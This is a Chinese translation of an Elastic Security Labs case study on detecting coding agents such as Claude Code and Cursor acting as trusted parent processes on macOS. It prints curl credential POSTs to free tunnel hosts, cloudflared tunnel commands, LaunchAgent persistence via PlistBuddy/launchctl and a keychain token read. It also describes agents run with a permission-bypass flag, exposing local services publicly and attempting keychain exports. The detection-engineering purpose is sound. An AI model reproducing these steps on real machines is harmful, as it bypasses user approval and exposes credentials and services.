
导语:当Claude Code成为一个受信父进程时,一切变得不一样了。Elastic Security Labs近期发布的一篇macOS案例研究显示:在一个开发者的Mac上,某Claude Code会话拉起了Cloudflare快速隧道、把本地服务暴露到公网、用curl把凭据POST到那台隧道主机、再装了个LaunchAgent守护进程。整条链的“父”看起来都是合法的厂商签名二进制,但“子”做的事情却是经典的远程管控+持久化。这正是GenAI时代端点告警最让人头疼的地方——同样的遥测信号既可能是一个本地仪表盘的合法管理,也可能是真正的入侵。
核心要点
Agent父进程发起的反向隧道和LaunchAgent可以把本地管理应用直接暴露到公网。即便看起来像“vibe-coded运维”,也应被端点视为高严重度事件,不能等到确认为恶意软件才告警。 已知的免费隧道代理服务商(localhost[.]run / lhr[.]life、Cloudflare Quick Tunnels、ngrok)会出现在同一会话的凭据化HTTP和LaunchAgent旁边。 检测工程师最难的部分是验证:受信的编码Agent父进程、双重用途的目的地、以及高严重度的行为结果,全部混在同一堆告警里。
编码Agent活动分析
两条搜索路径在2026年7月23日同时落到同一台主机上:一条从VirusTotal对Agent链路下某个域名的信誉查询开始,另一条从端点行为告警(包括生产规则 Persistence via GenAI Tool)开始。两条线索合并还原出的是一条完整时间线,而不是一堆零散的嘈杂事件。
但这并不是这台主机在Elastic Defend上的第一条信号。从2026年7月20日起,遥测中就已经出现了 event.code: malicious_file 与行为告警——大多与隧道/VPN类二进制、GenAI相关噪声告警有关,紧接着就是凭据HTTP和LaunchAgent持久化。
macOS开发者端点:事件发生地
事件发生在一位macOS开发者端点上,Claude Code(以及另一起相关案例中的Cursor)已经安装并在使用中。典型场景是:开发机信任那些厂商签名的编码Agent,让它们打开Shell、编辑文件、调用API、安装辅助工具。
Claude Code会话如何分阶段搭建这条链
从遥测看,这个会话需要:跑工具时少弹几次授权提示、连上一个隧道发布的URL、在不开入站防火墙端口的前提下暴露本地服务、让这条路保持存活、检查相关进程。这些步骤都以普通的进程、文件、网络事件类型出现在编码Agent的父进程之下。
本时间窗口里出现的已知双重用途工具包括:localhost[.]run(在 *.lhr[.]life 上提供免费SSH隧道)、Cloudflare Quick Tunnels(*.trycloudflare[.]com / api.trycloudflare[.]com),以及一个ngrok二进制。VirusTotal对代理根域名的标记仍然是有价值的猎杀信号,因为这些服务确实被滥用。在这个会话里,这些隧道紧挨着发布localhost的行为,以及对公网URL上 /login 和 /api/summary 的后续请求。
在这台端点上观察到的目标如下:
通过已批准的编码Agent运行工具,减少人工授权提示 通过HTTP(S)向隧道发布的URL做身份认证,并拉取应用指标 在不开入站防火墙端口的前提下把本地服务暴露到公网 让反向隧道在登出或重启后保持存活,持续轮询确保公网链接还在 在构建访问的过程中检查相关进程
每一条目标都出现在编码Agent的父进程之下。直接子进程通常是Claude Code下的Shell(zsh),而不是Claude自己去跑每一个二进制。原始告警形态看起来仍是“吃Agent”类活动,但这些目的地和命令形态为分析员提供了进一步追查的素材。

上图中:Claude Code会话(第1阶段)作为父进程,发起了针对临时隧道主机名的凭据化HTTP和指标拉取(第2阶段)、发布localhost的Cloudflare快速隧道(第3阶段)、以及让访问保持存活的LaunchAgent物料(第4阶段)。第2阶段是调查最有趣的部分——Agent链路下出现带凭据的自由隧道URL。
相关编码Agent作为父进程的案例
这条“隧道+LaunchAgent”时间线是一条完整链路。我们另外还复核了几起发生在其他主机上、由编码Agent作为执行父进程的较短案例:
变体A:Claude Code作为实际父进程,Apple签名的Python和osascript在 /tmp下投递并重跑JavaScript(LOLBin中转)。变体B:Cursor代理会话试图做一个解密后的钥匙串导出,针对Linear与模型上下文协议(MCP)OAuth物料做了过滤;端点控制在我们复核的这起案例里成功阻断了导出行为(T1555.001)。 变体C:Claude Code带权限绕过标志,通过明文HTTP拉取了一个未签名二进制,尝试剥离隔离属性并临时重新签名,再把 ~/.zshenv作为持久化测试点。
观察到的活动流
进入时间窗口前的几天
7月23日告警之前,这台主机已经在Defend里嘈杂了好几天:
| 2026年7月20日 | pritunl-client,后续还有 wireguard-go)上的 malicious_file,以及若干侧重发现的SIEM告警 | |
| 2026年7月21日 | Suspicious Python Script Execution and Network Connection:zsh → python3 /tmp/mcp_clean_landers.py → <已脱敏的域名>。同一天:cat 触碰了 ~/.claude/projects/*/memory/MEMORY.md 这条Claude项目内存路径 | |
| 2026年7月22日 | ||
| 2026年7月23日 | lhr[.]life / trycloudflare 的凭据化HTTP、cloudflared、LaunchAgent,以及ngrok的 malicious_file(最早父进程是 zsh,后也出现于 launchd) |
商业VPN客户端被分类为恶意软件常属双重用途的噪声。真正有意义的是时序:先是隧道二进制和Agent子进程量的逐日上升,然后某一天编码Agent作为父进程凭据HTTP、反向隧道、LaunchAgent持久化一齐出现。
7月21日,观察到进程树 zsh → python3 /tmp/mcp_clean_landers.py,带一个外向HTTPS连接(analytics.<已脱敏>.dev)。从脚本形态看,这些调用像是一个明文MCP风格的分析客户端请求,请求体是JSON-RPC方法调用以取数据,而非数据外发。

同一天还出现对Claude项目内存(~/.claude/projects/*/memory/MEMORY.md)的写操作,执行者是通用工具 cat,而不是Claude进程本身。一种朴素解读是Agent自己更新持久化上下文(比如 cat > MEMORY.md)。这次触碰可能跟窗口里的其他活动在时间上相隔数小时。
7月23日会话期间
7月23日窗口开始时,Claude Code已经可以作为厂商签名的父进程被使用。本窗口内的会话带 --allow-dangerously-skip-permissions 这类权限绕过标志,因此后续工具调用几乎不再弹出人工确认。开发者开这类模式是为了快——从端点的视角看,父进程仍然像是正常的厂商二进制,真正起作用的是那一组标志位,以及之后子进程做了什么。
第2阶段的流量包含 lhr[.]life 下的主机以及Cloudflare快速隧道(*.trycloudflare[.]com)。lhr[.]life 是 localhost[.]run 的免费子域空间——这是一个基于SSH的免费隧道服务商,与Cloudflare Quick Tunnels、ngrok同属一类。在Claude Code下的凭据HTTP旁边,这些看起来像一个已发布本地服务的“访问管道”。


Agent下的凭据化HTTP(S)
在Agent下面的一个Shell里,接着出现了一次外向的curl:
# 仅为形态示意(凭据已脱敏)URL="https://<id>.lhr[.]life"# 轮询 /login 直到返回 HTTP 200 (проверка = "check")curl -X POST "$URL/login" -d 'user=...&password=...'curl "$URL/api/summary?from=...&to=..." | jq '{spend}'
这个父进程命令行是一个“就绪循环”:轮询 /login 直到返回 200,认证后拉取一个 {spend} 汇总。/tmp 下的会话文件、以及 проверка(“check”)之类的状态字符串,都出现在同一个包装器里。响应体在认证检查阶段被丢弃(-o /dev/null)。公网主机是一个 localhost[.]run 的免费隧道URL。
curl -X POST 'https://<name>.trycloudflare[.]com/login' -d 'user=...&password=...'curl 'https://<name>.trycloudflare[.]com/...' | jq '{spend, ads}'乍一看之所以可疑:在编码Agent链路下,凭据以明文POST到一个匿名化的免费隧道URL;“循环到200”的模式很像C2的回连心跳;西里尔字母的状态字符串又给归因加了一分重量。同样的动作既可能是自己测试一个已发布的本地应用,也可能是对某个暴露服务的凭据访问。
这条序列对一个由隧道发布的应用URL做认证,并拉取 spend、ads 等指标。编码Agent链路下的进程命令行里出现凭据这件事,对端点和打开告警的人来说仍然是重要的。
我们能干净呈现的是:编码Agent作为父进程、向一个已知的免费隧道代理发起的凭据化HTTP,加上反向隧道与LaunchAgent的“续手”,这些足以把一个本地管理应用暴露到公网。VirusTotal对该代理根域的命中、以及“未绑定”页面的怪异表现,都属于双重用途那一桶——它们是案件材料的一部分,但不是最终定论。本案中触发的生产覆盖包括 Unusual Network Connection to Suspicious Top Level Domain。

用反向隧道发布localhost
同一个会话启动了 cloudflared,通过Cloudflare的快速隧道控制平面对某个本地端口建了通道:
# 凭过程参数未捕获、典型形态大致如下:cloudflared tunnel --url http://localhost:<port># 控制平面通信包含 api.trycloudflare[.]com这套机制的常规语义是入站。本地进程开一条到代理的外向控制通道,代理发布一个公网URL,远端客户端就能在没有传统端口转发的条件下触达笔记本上的某个服务。cloudflared 与 api.trycloudflare[.]com 的通信就是这个“打洞”的控制平面。叠加凭据化HTTP这一阶段,整条会话先把localhost发布出来,然后去“演练”那个公网URL。对应的生产告警是 Unusual Network Connection to Suspicious Web Service。

同一天,Defend在项目目录下一个ngrok二进制上抛出了 malicious_file 事件。时间窗口内最早的命中父进程是 zsh,后续活动也出现在 launchd 下。这是cloudflared之外的另一条隧道入口。VirusTotal把该样本 标记为 adware/hacktool ngrok。

用于隧道和看门狗的LaunchAgent
同一组Agent活动之下,LaunchAgent相关物料被写入并加载:一个用 PlistBuddy 配置、再用 launchctl bootstrap 重新加载的看门狗Agent,与同一 com.<vendor>.<app>.* 系列里(server、ngrok、lhr、tunnel、watchdog)那些“保活型”Agent一起出现。程序参数与命名都暗示:让本地仪表盘及其隧道在会话之间持续存活。
PlistBuddy -c "Set :StartInterval 60" ~/Library/LaunchAgents/com.<vendor>.<app>.watchdog.plistlaunchctl bootout gui/$(id -u)/com.<vendor>.<app>.watchdoglaunchctl bootstrap gui/$(id -u) \ ~/Library/LaunchAgents/com.<vendor>.<app>.watchdog.plist# 然后:curl -s -o /dev/null -w "…: %{http_code}" \# https://<id>.trycloudflare[.]com/login (活性探测)Shell和临时文件会随会话结束而消失;带 KeepAlive 的 LaunchAgent 加上活性探测循环则不会。即便父进程是一个受信的编码Agent,安装让反向隧道(或隧道背后的应用)保持存活的LaunchAgent也应继续被高声报出。本阶段触发的生产规则是 Persistence via GenAI Tool。

同会话中的进程发现
会话还跑了一些进程发现辅助工具,比如与相关工作负载绑定的 pgrep 模式。单独看,这是低严重度;但跟前面几个阶段串起来看,可能更像在检查相关服务是否还活着,而不是去摸防御工具。对应的生产覆盖包括 Process Discovery via Built-In Applications。
同一主机还触发了 GenAI or MCP Server Child Process Execution 规则。这个积木规则追踪GenAI父进程的子进程——既包括 git status 这类常规工具,也包括更“扎眼”的命令,比如 security find-generic-password -a <user> -w -s "Claude Code-credentials",这是一条把 Claude Code 的 OAuth token 打到 STDOUT 的钥匙串读取;不过这条已被官方记录 为 Claude Code 的预期行为。
用MITRE ATT&CK框看编码Agent作为父进程的活动
Elastic使用MITRE ATT&CK框架来记录常见的战术、技术与过程。下面的映射描述的是遥测中的技术形态,便于分析员对类似活动做关联。
战术(“为什么做”)
Execution(执行) Persistence(持久化) Defense Evasion(防御绕过) Credential Access(凭据访问) Discovery(发现) Command and Control(命令与控制) Exfiltration(数据外传)
技术(“怎么做”)
Command and Scripting Interpreter(命令与脚本解释器) Application Layer Protocol: Web Protocols(应用层协议:Web协议) Exfiltration Over Web Service(经Web服务外传) Protocol Tunneling(协议隧道化) Create or Modify System Process: Launch Agent(创建或修改系统进程:Launch Agent) Process Discovery(进程发现) Credentials from Password Stores: Keychain(凭据存储:钥匙串)(变体B) Ingress Tool Transfer(入站工具传输)(变体C)
如何检测编码Agent作为父进程的链路
检测
以下检测规则与积木告警在本主机的时间窗口内被观察到(诊断类告警略去):
Unusual Network Connection to Suspicious Top Level Domain Unusual Network Connection to Suspicious Web Service GenAI or MCP Server Child Process Execution(积木式告警量 / 链路) Process Discovery via Built-In Applications
没有任何一条生产规则独立覆盖完整序列。SIEM网络规则抓信誉差或双重用途的外联;积木规则提供链路与发现上下文;把它们跟端点结果——尤其是父进程是受信编码Agent时——做关联。对此类时间窗口的处理要点:
让高严重度的结果继续响:编码Agent链路下的凭据化HTTP、反向隧道、LaunchAgent不应仅因为进程树里挂着Claude或Cursor就被自动关闭。 尽早给目的地定类: localhost[.]run、Cloudflare Quick Tunnels、ngrok主机都是双重用途,先把这个结论记录下来,再去依赖稀有TLD或VirusTotal标签。会话上下文优于单事件信誉:就绪循环、“发布localhost”之后跟 /login和/api/summary、以及让这些隧道持续存活的LaunchAgent,是比“根域名页面写着no tunnel here”更强的关联点。把“量”和“结果”分开:GenAI子进程积木规则提供的是链路和时序上下文,直到出现机密、隧道、持久化才有结果性意义。 两种解读都写下来:同一条链既可能是一个本地仪表盘的远程管理,也可能更严重——证据支持哪种就记下哪种。
预防
以下Elastic Defend行为预防事件被观察到:
Persistence via GenAI Tool Suspicious Python Script Execution and Network Connection
结语
本时间窗口在两种解读之间摇摆——而两种解读的遥测形态完全相同。一方面,Agent链路下的凭据化HTTP、反向隧道、LaunchAgent恰好就是端点应当报出的结果;另一方面,这些目的地和命令形态又与已知的免费隧道代理、以及对一个本地管理应用的远程演练高度吻合。信誉标签、未绑定代理根域页面,本身都不能打破这种平局。
这种“歧义”正是GenAI时代的检测工程难题——而且会越来越难,因为编码Agent将持续占据受信父进程这一位置,承担开发者日常用Shell、API、辅助工具完成的越来越多工作。合理的应对不是去压制那些高严重度的结果,也不是把所有双重用途的隧道都硬塞进“确认入侵”的叙事。保留告警、给工具定类、重建会话、把证据能支持什么不能支持什么写清楚。
参考资料
Elastic Advances LLM Security with Standardized Fields and Integrations Embedding Security in LLM Workflows: Elastic's Proactive Approach
出处:本文翻译自 Elastic Security Labs 发布的《Living off the coding agent: Two tales of tunnels and LaunchAgents》一文,作者 Mika Ayenson, PhD 与 Jia Yu Chan,原文链接:https://www.elastic.co/security-labs/coding-agent-launchagent-tunnel-detection。文中所有图片均来自原文,版权归属原作者及Elastic Security Labs。

👇 点击阅读原文,访问我的网站
夜雨聆风

